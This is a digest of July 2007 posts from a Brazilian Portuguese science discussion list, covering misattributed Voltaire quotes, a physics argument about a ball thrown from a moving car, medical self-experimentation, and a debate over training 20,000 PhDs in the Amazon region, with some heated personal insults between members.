> "Se vc não tem atitude, mantenha pelo menos a palavra!"
>
> ("Quem quer que haja construído um novo céu, só no seu próprio inferno
> encontrou energia para fazê-lo!" Nietszche)
>
> "Não importa o que fizeram a você.
> O que importa é o que você faz com
> aquilo que fizeram para você".
>
> Jean-Paul Sartre (1905-1980)
> Filósofo francês
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>



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Meu blog:
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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] voltaire (ele teria vergomnha de ser citado dessa forma..:-)
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 15:19

Caro Homero,

Concordo como você em linhas gerais. O que penso quanto à primeira afirmação
é que não tenho certeza se eu teria coragem de morrer por causa da liberdade
ou de qualquer outra causa. Gosto de pensar que sim, mas, como o experimento
se morrer por uma causa só pode ser feito uma vez, nunca terei certeza...:-)

Confesso que não conheço muito de Voltaire, mas, do pouco que conheço, não
consigo levá-lo muito a sério. Muito "pré-científico" para o meu gosto.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 13, 2007 2:50 PM
Subject: Re: [ciencialist] voltaire (ele teria vergomnha de ser citado dessa
forma..:-)


Olá Alvaro

Alvaro: "Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
completamente enganado, pois não conhecia as teorias do Big Bang e da
evolução."

Mesmo quanto a primeira, acho que ele estava enganado. Embora seja uma frase
bonita, de "impacto", na prática nem sempre é possível ou razoável agir
assim.

Por isso existem os crime de calúnia, difamação e injúria. Por isso
revisionismo nazista na Alemanhã é proibido. Por isso é preciso, mesmo
quanto a idéias, analisar de forma racional suas consequências e sua
periculosidade.

E na ciência, conhecimento determinado pelo método científico, isso
simplesmente não funciona. Idéias tem de ser abandonadas, para que as
corretas sejam percebidas e se avance. Se toda idéia for "permitida", se
formos "lutar" para defende-las, mesmo as incorretas (do ponto de vista
científico), todas elas se tornarão igualmente inúteis.

Abandonar ideias falsas e incorretas é parte fundamental da pesquisa
científica. Sem isso, uma aula de engenharia ou de física deveria ensinar,
ao lado de matérias como "resistência de materiais e estruturas", Feng Shui
e rabdomancia. Ou ao lado da evolução, criacionismo. E não apenas o tolo
criacionsimo bíblico, mas todos os tipos, de todas as religiões, e ainda, ao
lado da cosmologia, a Terra em forma de semi-esfera, que se apoia em
elefantes que estão sobre uma tartaruga, etc.

Acho que até o Amauri percebe a tolice desse comportamento (mas não tenho
muita certeza..:-).

Idéias, no campo da filosofia, da subjetividade, até podem ser respeitadas
embora conflitantes. Em ciência, seria apenas tolice manter a micro-biologia
ao lado dos miasmas maléficos ou xamanismo.

Um abraço.

Homero





----- Original Message -----
From: Alvaro Augusto (U)
To: ciencialist@yahoogrupos.com.br
Sent: Friday, July 13, 2007 1:26 PM
Subject: Re: [ciencialist] voltaire


Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
completamente enganado, pois não conhecia as teorias do Big Bang e da
evolução.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Amauri N. Sanches Jr " <amaurij@gmail.com>
To: <Acropolis_@yahoogrupos.com.br>; "ciencialist"
<ciencialist@yahoogrupos.com.br>; <cascata_de_luz@yahoogrupos.com.br>;
<sandraamauri@yahoo.com.br>; "Lucimary Vargas"
<lucimary.vargas@gmail.com>;
<lucia2245@hotmail.com>
Sent: Friday, July 13, 2007 12:29 PM
Subject: [ciencialist] voltaire

"Pode ser que não estejamos de acordo com as idéias dos outros, mas
devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire

"O acaso é uma palavra sem sentido. Nada pode existir sem causa."
Voltaire

"A falsa ciência gera ateus; a verdadeira ciência leva os homens a se
curvar
diante da divindade."
Voltaire
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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês





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SUBJECT: Re: voltaire (ele teria vergomnha de ser citado dessa forma..:-)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/07/2007 16:29

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> Confesso que não conheço muito de Voltaire, mas, do pouco que
> conheço, não consigo levá-lo muito a sério. Muito "pré-científico"
> para o meu gosto.

Mas Voltaire parece ser inocente nessa questão. Há dois problemas.

Primeiro, a frase foi citada de modo errado. Ela seria algo como: "Eu
desaprovo o que você diz, mas defenderei até a morte seu direito de
dizê-lo". Do jeito q foi escrito muda sensivelmente o tom.

Segundo, Voltaire, tto qto se sabe não disse nem uma coisa nem outra.
A frase acima é de Evelyn Beatrice Hall, em seu livro "The Friends of
Voltaire" de 1906 (supostamente ela quis apenas ilustrar qual seria o
espírito do pensador francês a respeito de outro pensador, um tal de
Claude Adrien Helvétius, e do livro deste: De l'esprit). Hall teria
dito a respeito da confusão feita: "I did not mean to imply that
Voltaire used these words verbatim and should be surprised if they are
found in any of his works."

http://en.wikipedia.org/wiki/Voltaire#Miscellaneous
-------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] voltaire
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>, <cascata_de_luz@yahoogrupos.com.br>, <sandraamauri@yahoo.com.br>, "Lucimary Vargas" <lucimary.vargas@gmail.com>, <lucia2245@hotmail.com>
DATE: 13/07/2007 17:21

"Pode ser que não estejamos de acordo com as idéias dos outros, mas devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire

Voltaire é uma mula! Como se pode defender a liberdade de idéias de um fanático, de um criminoso, de um pedófilo, de uma besta que escreve temas de auto-ajuda numa lista de ciências?

"O acaso é uma palavra sem sentido. Nada pode existir sem causa."
Voltaire

Voltaire é uma dupla besta! O acaso não significa sem causa, significa apenas que o número de parâmetros que definem um dado estado A é tal que torna praticamente impossível equacionar o novo estado B. Qualquer mínima alteração numa das causas em A, modifica B. Amauri é um dos produtos desse acaso; uma das causas, na fecundação, gerou isso que é hoje.

"A falsa ciência gera ateus; a verdadeira ciência leva os homens a se curvar
diante da divindade."
Voltaire

Voltaire é uma tríplice mula! A falsa ciência gera a pseudociência; a verdadeira ciência dispensa as divindades, por total falta de evidências, e nos leva a aprender que não devemos nos curvar para ninguém; somos (quase) todos homens livres! Esse (quase) refere-se ao Amauri, um homem que se curva frente até ao inexistente. Ai dele se passar perto de mim sem se curvar!

Amigos, essa besta aqui respondeu a uma mensagem totalmente fora de qqer contexto lógico, apenas como exemplo do que pode vir à frente. Um listeiro que envia uma mensagem "apenas com citações de outra pessoa" é listeiro sem fala, conhecimentos ou argumentos próprios; em que isso pode ser útil a essa lista?
Pode ser "um prato cheio" para <Acropolis_@yahoogrupos.com.br>; cascata_de_luz@yahoogrupos.com.br; sandraamauri@yahoo.com.br; lucimary.vargas@gmail.com>; lucia2245@hotmail.com.
Imaginem só --- Cascata de luz --- a luz jorra de uma fonte e se curva ao sabor da gravidade terrestre. Se fosse uma ligeira curvatura ao passar próximo à massa de uma estrela, vá lá, mas, aqui na terrrinha? ... que dó!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Amauri N. Sanches Jr " <amaurij@gmail.com>
Para: <Acropolis_@yahoogrupos.com.br>; "ciencialist" <ciencialist@yahoogrupos.com.br>; <cascata_de_luz@yahoogrupos.com.br>; <sandraamauri@yahoo.com.br>; "Lucimary Vargas" <lucimary.vargas@gmail.com>; <lucia2245@hotmail.com>
Enviada em: sexta-feira, 13 de julho de 2007 12:29
Assunto: [ciencialist] voltaire




SUBJECT: Re: [ciencialist] La Nueva Edad Media
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 13/07/2007 17:27

Silvio,
não seria melhor enviar apenas o link?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
Para: <Conversa_de_Botequim@yahoogrupos.com.br>
Enviada em: sexta-feira, 13 de julho de 2007 15:01
Assunto: [ciencialist] La Nueva Edad Media


La Nueva Edad Media
· Efectos equivalentes en los periodos medievales




SUBJECT: Re: [ciencialist] voltaire
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/07/2007 17:55

Depois que falo, tenho que pedir desculpas...

Olha esse e-mail?

sds

Em 13/07/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> "Pode ser que não estejamos de acordo com as idéias dos outros, mas
> devemos
> estar dispostos a morrer para defender a liberdade de todas as idéias".
> Voltaire
>
> Voltaire é uma mula! Como se pode defender a liberdade de idéias de um
> fanático, de um criminoso, de um pedófilo, de uma besta que escreve temas de
> auto-ajuda numa lista de ciências?
>
> "O acaso é uma palavra sem sentido. Nada pode existir sem causa."
> Voltaire
>
> Voltaire é uma dupla besta! O acaso não significa sem causa, significa
> apenas que o número de parâmetros que definem um dado estado A é tal que
> torna praticamente impossível equacionar o novo estado B. Qualquer mínima
> alteração numa das causas em A, modifica B. Amauri é um dos produtos desse
> acaso; uma das causas, na fecundação, gerou isso que é hoje.
>
> "A falsa ciência gera ateus; a verdadeira ciência leva os homens a se
> curvar
> diante da divindade."
> Voltaire
>
> Voltaire é uma tríplice mula! A falsa ciência gera a pseudociência; a
> verdadeira ciência dispensa as divindades, por total falta de evidências, e
> nos leva a aprender que não devemos nos curvar para ninguém; somos (quase)
> todos homens livres! Esse (quase) refere-se ao Amauri, um homem que se curva
> frente até ao inexistente. Ai dele se passar perto de mim sem se curvar!
>
> Amigos, essa besta aqui respondeu a uma mensagem totalmente fora de qqer
> contexto lógico, apenas como exemplo do que pode vir à frente. Um listeiro
> que envia uma mensagem "apenas com citações de outra pessoa" é listeiro sem
> fala, conhecimentos ou argumentos próprios; em que isso pode ser útil a essa
> lista?
> Pode ser "um prato cheio" para <Acropolis_@yahoogrupos.com.br<Acropolis_%40yahoogrupos.com.br>>;
> cascata_de_luz@yahoogrupos.com.br <cascata_de_luz%40yahoogrupos.com.br>;
> sandraamauri@yahoo.com.br <sandraamauri%40yahoo.com.br>;
> lucimary.vargas@gmail.com <lucimary.vargas%40gmail.com>>;
> lucia2245@hotmail.com <lucia2245%40hotmail.com>.
> Imaginem só --- Cascata de luz --- a luz jorra de uma fonte e se curva ao
> sabor da gravidade terrestre. Se fosse uma ligeira curvatura ao passar
> próximo à massa de uma estrela, vá lá, mas, aqui na terrrinha? ... que dó!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Amauri N. Sanches Jr " <amaurij@gmail.com <amaurij%40gmail.com>>
> Para: <Acropolis_@yahoogrupos.com.br <Acropolis_%40yahoogrupos.com.br>>;
> "ciencialist" <ciencialist@yahoogrupos.com.br<ciencialist%40yahoogrupos.com.br>>;
> <cascata_de_luz@yahoogrupos.com.br <cascata_de_luz%40yahoogrupos.com.br>>;
> <sandraamauri@yahoo.com.br <sandraamauri%40yahoo.com.br>>; "Lucimary
> Vargas" <lucimary.vargas@gmail.com <lucimary.vargas%40gmail.com>>; <
> lucia2245@hotmail.com <lucia2245%40hotmail.com>>
> Enviada em: sexta-feira, 13 de julho de 2007 12:29
> Assunto: [ciencialist] voltaire
>
>
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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 18:38

Já esclarecemos essas possibilidades anteriormente.
O que não me parece razoável é descartar a força ou empuxo do vento.
[]s
José Renato
.....................................

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 10, 2007 12:55 AM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Provas, por favor. Lembre-se de q o vento tem q ser suficiente para
> deslocar uma bola de beisebol.
> JR1 - Prova? Veja no vídeo a inclinação da trajetória da bola para a
> esquerda...

A trajetória curva da bola NÃO demonstra q haja vento significativo.
Pois está a se demonstrar exatamente q a trajetória é INCOMPATÍVEL com
uma ação significativa do vento.

Há pelo menos outra possibilidade:
- o módulo da velocidade do carro no momento do lançamento da bola é
maior do q módulo da velocidade de lançamento da bola.

E essa outra possibilidade é compatível com a trajetória da bola.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 18:48

O que lhe aflige, José Carlos?!
As mensagens têm títulos em Assunto: e os remetentes que as enviaram estão
indicados em De:.
Procure descobrir porque esse assunto lhe incomoda e porque vc abre as
mensagens sobre ele...
E não abra as mensagens sobre assuntos que lhe deixam prostrado desse jeito,
caso contrário, vai parecer que vc está em algum acesso de tolice...
[]s
José Renato
.....................................

----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 10, 2007 1:42 AM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


Putz, ninguém merece!

Será que não há nenhum moderador para encerrar essa conversa do Takata
com o José Renato?

Que saco, além de não expulsarem o sujeito ainda dão trela?

Tá cada dia mais difícil acompanhar essa lista.




--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > Provas, por favor. Lembre-se de q o vento tem q ser suficiente para
> > deslocar uma bola de beisebol.
> > JR1 - Prova? Veja no vídeo a inclinação da trajetória da bola para a
> > esquerda...
>
> A trajetória curva da bola NÃO demonstra q haja vento significativo.
> Pois está a se demonstrar exatamente q a trajetória é INCOMPATÍVEL com
> uma ação significativa do vento.
>
> Há pelo menos outra possibilidade:
> - o módulo da velocidade do carro no momento do lançamento da bola é
> maior do q módulo da velocidade de lançamento da bola.
>
> E essa outra possibilidade é compatível com a trajetória da bola.
>
> []s,
>
> Roberto Takata
>




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SUBJECT: Re: [ciencialist] Experimentos com o proprio corpo
FROM: "Guilherme Ramos Sens" <guilhermeramossens@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 19:54

O exame é endoscopia digestiva!
E gastrites e úlceras não são causadas apenas pelo Helicobacter pylori pois como a maioria das doenças não é unicausal. E sim a influência psicogênica faz parte da etiopatogenia das dispepsias como um todo.

Um abraço

Guilherme Ramos Sens
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, July 13, 2007 6:03 AM
Subject: RES: [ciencialist] Experimentos com o proprio corpo


Mori,

Ø Um caso recente contado na série é o do médico q ingeriu colônias de
bactérias causadoras de úlcera para provas que grastite e úlcera eram
realmente causadas por infecções bacterianas.

Victor: Passei uns 10 anos de minha vida com problemas de úlceras. Os
médicos, todos, diziam tratar-se de problemas nervosos, de estresse, que eu
era um cara muito ansioso, impulsivo, que isso produzia isso e aquilo, que
eu deveria buscar o nirvana, e tome Pepsamar, Maalox Plus, e outras coisas à
base dos mesmos componentes. E os regimes alimentares? Putz! Um dia, um
deles, evoluiu e solicitou um horroroso (hoje não é mais) exame, uma
gastroentologia(achjo que é assim, o nome). Era o advento da fibra óptica e
das minicâmeras aplicadas à ciência. O exame acusou a existência de uma
bactéria, uma tal de "agá piloris"(AA grafia não é essa, mas só como se
pronuncia). Pronto, encontrado o caminho das pedras. Após cumprir a
medicação, o problema acabou, até hoje.

Coisas simples de novas tecnologias proporcionada pela ciência. Resultado,
morrerei sem úlceras. È um consolo?

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Kentaro Mori
Enviada em: sexta-feira, 13 de julho de 2007 01:23
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Experimentos com o proprio corpo

Ah, lembro que na série também comentam do médico inglês, penso q do
século 18 ou 19, que tentou establecer a relação entre sífilis e
gonorréia. Ele escreveu um diário detalhando com grande minúcia como
um voluntário humano foi consciente e deliberdamente infectado com o
pus de um paciente com gonorréia, e todos os estágios da doença. Como
ele esperava, o paciente progrediu dos sintomas de gonorréia até os de
sífilis, provando assim que sífilis era apenas um estágio avançado da
gonorréia.

Hoje sabemos que o experimento tinha a falha crucial de que o pus
continha vetores tanto de gonorréia quanto de sífilis, mas de acordo
com o documentário, o livro e a metodologia rigorosa descrita foram
revolucionários para a época.

O médico nunca deu um nome ao voluntário, mas acredita-se ser muito
provável que ele infectou a si mesmo.

Um caso recente contado na série é o do médico q ingeriu colônias de
bactérias causadoras de úlcera para provas que grastite e úlcera eram
realmente causadas por infecções bacterianas. Ganhou um Nobel.

[]s

Mori

On 7/13/07, Kentaro Mori <kentaro.mori@gmail.com
<mailto:kentaro.mori%40gmail.com> > wrote:
> Há uma série de documentários, "Medical Mavericks", que documenta
> vários experimentos que médicos fizeram consigo mesmos.
>
> Um deles experimentou ficar uma semana comendo apenas um tipo de
> comida. Isso foi no século 17 ou 18, se me lembro, e o conhecimento
> sobre nturição era inexistente. O médico acabou morrendo de
> desnutrição.
>
> Também há o médico que descobriu os efeitos anestésicos do gás
> hiliriante, mas preferiu usar o gás para efeitos recreativos. Apenas
> anos depois um dentista teve a idéia de usar o gás para extração de
> dentes, e acabou testando nele mesmo.
>
> Também há os que descobriram a relação entre malária e o mosquito.
> Foram na verdade três médicos que se dispuseram a ser picados por
> mosquitos contaminados, e o médico que realmente teve a idéia acabou
> morrendo com a doença. O médico que ficou com os créditos foi o que
> fugiu do experimento.
>
> Escrevo isto de memória, que no meu caso é péssima. Fui no Google e
> encontrei o site da sé´rie:
>
http://www.bbc.co.uk/bbcfour/documentaries/features/medical-mavericks.shtml
>
> []s
>
> Mori
>
> On 7/12/07, Luis Brudna <luisbrudna@gmail.com
<mailto:luisbrudna%40gmail.com> > wrote:
> >
> >
> >
> >
> >
> >
> > No Gluon Blog adaptei dois textos sobre cientistas que realizaram
> > experimentos em seu proprio corpo.
> >
> > Escala de ferroadas e o ritual
> > http://www.gluon.com.br/blog/2007/07/11/escala-dor-ferroadas/
> >
> > Transplante de testículos de macacos em seres humanos
> > http://www.gluon.com.br/blog/2007/06/20/testiculos-homens-macacos/
> >
> > Alguem lembra de mais algum caso? Com certeza devem existir mais.
> >
> > Ateh
> > Luis Brudna
> >
> > =-=-=-
> >
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SUBJECT: Formação de 20 mil doutores
FROM: "hymboldt2005" <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/07/2007 11:11

O professor Ênio Candotti fez a seguinte declaração na SBPC:

Há necessidade de formar 20.000 (vinte mil) doutores nos próximos anos
na região amazônica.

Com todo o respeito ao professor Ênio, alguém pode me explicar como é
que se faz isso?

O que significa próximos anos?

sds

DDias



SUBJECT: Re: [ciencialist] Formação de 20 mil doutores
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/07/2007 13:44

Isto se chama não falar para não dizer nada.
Não disse que formação os doutores terão que ter!
Não disse quanto tempo demora para chegar os próximos anos, nem o tempo
que durará os próximos anos.
Não disse o que é região amazônica, pois é o estado do Amazonas, ou a
Amazônia Legal ou a região amazônica que engloba outros países?

ita

hymboldt2005 escreveu:
> O professor Ênio Candotti fez a seguinte declaração na SBPC:
>
> Há necessidade de formar 20.000 (vinte mil) doutores nos próximos anos
> na região amazônica.
>
> Com todo o respeito ao professor Ênio, alguém pode me explicar como é
> que se faz isso?
>
> O que significa próximos anos?
>
> sds
>
> DDias
>
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> http://www.ciencialist.com
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C.P. 15005
Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



SUBJECT: Re: [ciencialist] Formação de 20 mil doutores
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/07/2007 13:55

É incrível como alguém pode cometer três erros em uma só frase!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Itabajara Vaz - UFRGS" <ita@cbiot.ufrgs.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, July 14, 2007 1:44 PM
Subject: Re: [ciencialist] Formação de 20 mil doutores


> Isto se chama não falar para não dizer nada.
> Não disse que formação os doutores terão que ter!
> Não disse quanto tempo demora para chegar os próximos anos, nem o tempo
> que durará os próximos anos.
> Não disse o que é região amazônica, pois é o estado do Amazonas, ou a
> Amazônia Legal ou a região amazônica que engloba outros países?
>
> ita
>
> hymboldt2005 escreveu:
>> O professor Ênio Candotti fez a seguinte declaração na SBPC:
>>
>> Há necessidade de formar 20.000 (vinte mil) doutores nos próximos anos
>> na região amazônica.
>>
>> Com todo o respeito ao professor Ênio, alguém pode me explicar como é
>> que se faz isso?
>>
>> O que significa próximos anos?
>>
>> sds
>>
>> DDias
>>
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>> Página de apoio
>> http://www.ciencialist.com
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SUBJECT: Res: [ciencialist] Formação de 20 mil doutores
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/07/2007 15:37

É verdade Ita...

Mas vamos lá, vou fazer a minha contribuição para o prof. Ênio para resolver a questão.

Vamos partir do seguinte princípio

1. Para formar 1 doutor eu preciso de 4 anos?

2. Para formar 20 000 (vinte mil) doutores eu preciso de 20.000 cadeiras (para o povo sentar)

Não dá para imaginar o pessoal participando das aulas de pé

a) Cadeiras são feitas de madeira, isto não seria anti-ecológico?
b) Onde vamos conseguir 20 000 (vinte mil) alunos?

Se conseguirmos 20 000 (vinte mil) alunos, onde iremos colocar estas 20 000 cadeiras?

3. Agora o principal... Onde vamos conseguir professores para 20 000 (vinte mil) alunos em 20 000 (vinte mil cadeiras)?

Chi, esqueci as cadeiras para os professores, ah e também a lousa e o giz.

Bom, para resolvermos todos estes pequenos problemas é muito fácil...

Com todo o respeito...

1. Se são necessários 4 anos, podemos montar um currículo rápido de 4 meses (O Instituto Universal Brasileiro, dá um jeito rapidinho).
2. Para não usar madeira para as cadeiras, podemos comprar cadeiras de plástico.
3. Vamos distribuir COMPUTADOR para todo mundo que resolve (faz via internet).
4. Para concluir, se não tem professor, contrata Engenheiro (com todo o respeito novamente).

Tem cada uma neste país
E o pior, tem cada tipo falando cada abobrinha

O professor Ênio que me desculpe, mas já não chega o povo lá de Brasília?



----- Mensagem original ----
De: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Sábado, 14 de Julho de 2007 13:44:06
Assunto: Re: [ciencialist] Formação de 20 mil doutores

Isto se chama não falar para não dizer nada.
Não disse que formação os doutores terão que ter!
Não disse quanto tempo demora para chegar os próximos anos, nem o tempo
que durará os próximos anos.
Não disse o que é região amazônica, pois é o estado do Amazonas, ou a
Amazônia Legal ou a região amazônica que engloba outros países?

ita

hymboldt2005 escreveu:
> O professor Ênio Candotti fez a seguinte declaração na SBPC:
>
> Há necessidade de formar 20.000 (vinte mil) doutores nos próximos anos
> na região amazônica.
>
> Com todo o respeito ao professor Ênio, alguém pode me explicar como é
> que se faz isso?
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> O que significa próximos anos?
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> sds
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SUBJECT: Separacao de graos
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/07/2007 22:03

Interessante efeito de separacao de graos. A explicacao eh a
diferenca de cargas.

http://www.boingboing.net/2007/07/12/colored_sand_unmixes.html

Ateh
Luis Brudna
=-=-=-


SUBJECT: Re: [ciencialist] Formação de 20 mil doutores
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/07/2007 09:28

Ele nao disse mais nada antes, ou depois? Em que contexto ele estava
falando?

Gil

Em 14/07/07, hymboldt2005 <hymboldt2005@yahoo.com.br> escreveu:
>
> O professor Ênio Candotti fez a seguinte declaração na SBPC:
>
> Há necessidade de formar 20.000 (vinte mil) doutores nos próximos anos
> na região amazônica.
>
> Com todo o respeito ao professor Ênio, alguém pode me explicar como é
> que se faz isso?
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> O que significa próximos anos?
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> DDias
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SUBJECT: Res: [ciencialist] Formação de 20 mil doutores
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/07/2007 09:49

Certamente o contexto � importante...

Esse foi o trecho...

"O presidente da SBPC, �nio Candoti elogiou a iniciativa da reuni�o e lembrou que ainda h� muita coisa a ser feita para dar visibilidade � ci�ncia, tecnologia e educa��o. Entre as a��es emergentes na regi�o amaz�nica ele falou sobre a necessidade de formar pelo menos 20 mil doutores na regi�o nos pr�ximos anos. �Hoje vejo n�meros que impressionam, imaginem que quase 100 mil jovens se inscreveram no vestibular da Universidade do Estado do Amazonas (UEA) isso � impressionante, pois se conseguirmos que 50 mil se formem nos pr�ximos 5 anos, teremos uma revolu��o"


Com o contexto, creio que ficou pior a emenda do que o soneto...

Eu n�o conhe�o a Universidade do Estado do Amazonas, mas eu creio ( estou especulando) que nem a USP + Unesp + Unicamp + as Federais ( em SP) tem as condi��es propostas acima para formar gente em Ci�ncia, Tecnologia e Educa��o.

sds

DDias


----- Mensagem original ----
De: Gil <nanolink01@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Domingo, 15 de Julho de 2007 9:28:18
Assunto: Re: [ciencialist] Forma��o de 20 mil doutores

Ele nao disse mais nada antes, ou depois? Em que contexto ele estava
falando?

Gil

Em 14/07/07, hymboldt2005 <hymboldt2005@ yahoo.com. br> escreveu:
>
> O professor �nio Candotti fez a seguinte declara��o na SBPC:
>
> H� necessidade de formar 20.000 (vinte mil) doutores nos pr�ximos anos
> na regi�o amaz�nica.
>
> Com todo o respeito ao professor �nio, algu�m pode me explicar como �
> que se faz isso?
>
> O que significa pr�ximos anos?
>
> sds
>
> DDias
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SUBJECT: Res: [ciencialist] Formação de 20 mil doutores
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/07/2007 09:51

Acabei de consultar

A UEA oferece 3820 (total) vagas para o vestibular 2007


DDias


----- Mensagem original ----
De: Gil <nanolink01@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Domingo, 15 de Julho de 2007 9:28:18
Assunto: Re: [ciencialist] Formação de 20 mil doutores

Ele nao disse mais nada antes, ou depois? Em que contexto ele estava
falando?

Gil

Em 14/07/07, hymboldt2005 <hymboldt2005@ yahoo.com. br> escreveu:
>
> O professor Ênio Candotti fez a seguinte declaração na SBPC:
>
> Há necessidade de formar 20.000 (vinte mil) doutores nos próximos anos
> na região amazônica.
>
> Com todo o respeito ao professor Ênio, alguém pode me explicar como é
> que se faz isso?
>
> O que significa próximos anos?
>
> sds
>
> DDias
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> Página de apoio
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SUBJECT: Observatório Monoceros - 32 ANOS
FROM: Observatório Monoceros <observatorio.monoceros@gmail.com>
TO: "Ciencialist" <ciencialist@yahoogrupos.com.br>, "REANET" <reanet@yahoogrupos.com.br>, "Foro Liada" <foro-liada@gruposyahoo.com.ar>, "Monoceros-Grupo" <Observatorio_Monoceros@yahoogrupos.com.br>, <planeta-azul-liada@gruposyahoo.com.ar>, Urânia <urania_br@yahoogrupos.com.br>, <clubsurastronomico@gruposyahoo.com.ar>, <SolarAstronomy@yahoogroups.com>, <aleitalia@yahoogroups.com>
CC: "Marcomede Rangel Nunes - Obs.Nacional" <marcomed@on.br>, Alberto Geraldo Faria dos Santos - Obs.Magnético de Vassouras <alberto_santos@hotmail.com>, <edneyjones@yahoo.com.br>, Marilia Guimarães <marilia@kit5.com>, "Marilia Rosestolato" <mariliv.net@hotmail.com>, <aneviton@yahoo.com.br>, <marilia@kit5.com.br>, "Kjell Inge Malde" <cvhelios@gmail.com>
DATE: 15/07/2007 11:05

Prezados Amigos,

É com muita felicidade e emoção que hoje comemoramos os 32 anos de fundação do Observatório Astronômico Monoceros.
Muitas foram as lutas, perdas, mas também conquistas e vitórias!
